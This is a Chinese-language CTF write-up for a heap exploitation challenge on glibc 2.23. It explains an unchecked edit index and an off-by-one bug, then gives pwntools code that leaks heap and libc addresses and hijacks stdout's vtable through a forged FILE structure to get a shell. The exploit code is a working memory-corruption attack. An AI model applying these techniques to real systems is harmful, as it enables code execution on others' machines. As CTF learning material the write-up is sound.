到写WP的时候回顾这道题,第一反应居然是我什么时候做过这道题,第二个反应是我居然做出来了这道题(我大概是被这10多天的比赛折磨疯了)。于是我翻了翻我的电脑,确认我确实解出了这道题。
这道题漏洞很常规,在edit里不判断下标范围,也存在输入off by one。但是把malloc_hook和free_hook都进行了二次hook,很明显是不让我们用常规的解法,感觉这对我这样学ctf不久的人很不友好。
好在题目为了降低难度,在add函数里直接把heap的地址打印了出来,省了不少事情,而且也可以利用这个特性在分配libc里面的地址时把libc打出来。
因为前半部分没有注意到stdout也在edit的下标范围里,所以前面我很苦逼的用了常规的方式泄露libc
malloc(0x108) #0
p.recvuntil('heap 0 : ')
heap_addr = p.recvline()
heap_addr = int(heap_addr[:-1],16) - 0x10
print 'heap_addr %X' % heap_addr
malloc(0x208) #1
malloc(0x108) #2
malloc(0x108) #3
edit(1, 'A' * 0x1f0 + p64(0x200) + '\n')
free(1)
edit(0, 'B' * 0x108)
malloc(0xf0) #1
malloc(0xf0) #4
free(1)
free(2)
malloc(0x100) #1
malloc(0x68) #2
free(2)
edit(4, '0' * 0x8 + p64(0x71) + p64(heap_addr + 0x290) + '1' * 0x60 + p64(0x71) + p16(0x1aed + offset) + '\n')
malloc(0x68) # 2
malloc(0x68) # 5
malloc(0x68) # 6
p.recvuntil('heap 6 : ')
libc_addr = p.recvline()
libc_addr = int(libc_addr[:-1], 16) - (0x7FFFF7DD1AFD - 0x7ffff7a0d000)
print 'libc_addr %X' % libc_addr
libc.address = libc_addr
然后在具体利用的时候我才注意到stdout可以编辑,所以劫持了他的jump table到我的堆里面,第一次用这种方法很不熟悉,好在目标是2.23环境,限制不是很大。在一顿瞎折腾之后(确实是瞎折腾,看我下面的代码就知道,写了一堆废代码,也不知道哪个有效,反正最后居然成功了)
io_list_all_addr = libc.symbols['_IO_list_all']
jump_table_addr = libc.symbols['_IO_file_jumps'] + 0xc0
binsh_addr = libc_addr + 0x1618b9
file_struct = pack_file(_flags=0,
_IO_read_ptr=0x61,
_IO_read_base=io_list_all_addr - 0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh_addr,
_mode=0,
)
file_struct += p64(jump_table_addr - 0x8) + p64(0)
file_struct += p64(libc.symbols['system'])
payload = "/bin/sh\x00"+ (p64(libc_addr + 0x3C56A3) + p64(libc_addr + 0x3C56A4) + p64(libc_addr + 0x3C56A5) )* 2 + p64(libc_addr + 0x3C56A3) * 2\
+ p64(0) * 4 + p64(libc_addr + 0x3C48E0) + p64(3) + p64(0) * 12 + p64(heap_addr + 0x120)
edit(0, payload + '\n')
edit(1, p64(libc.symbols['system']) * 10 + '\n')
payload = p64(0xfbad2887) + p64(libc_addr + 0x3C56A3) * 8 + p64(0) * 4 + p64(heap_addr + 0x10)
edit(-6, payload + '\n')
p.sendlineafter(">>", "4")
p.interactive()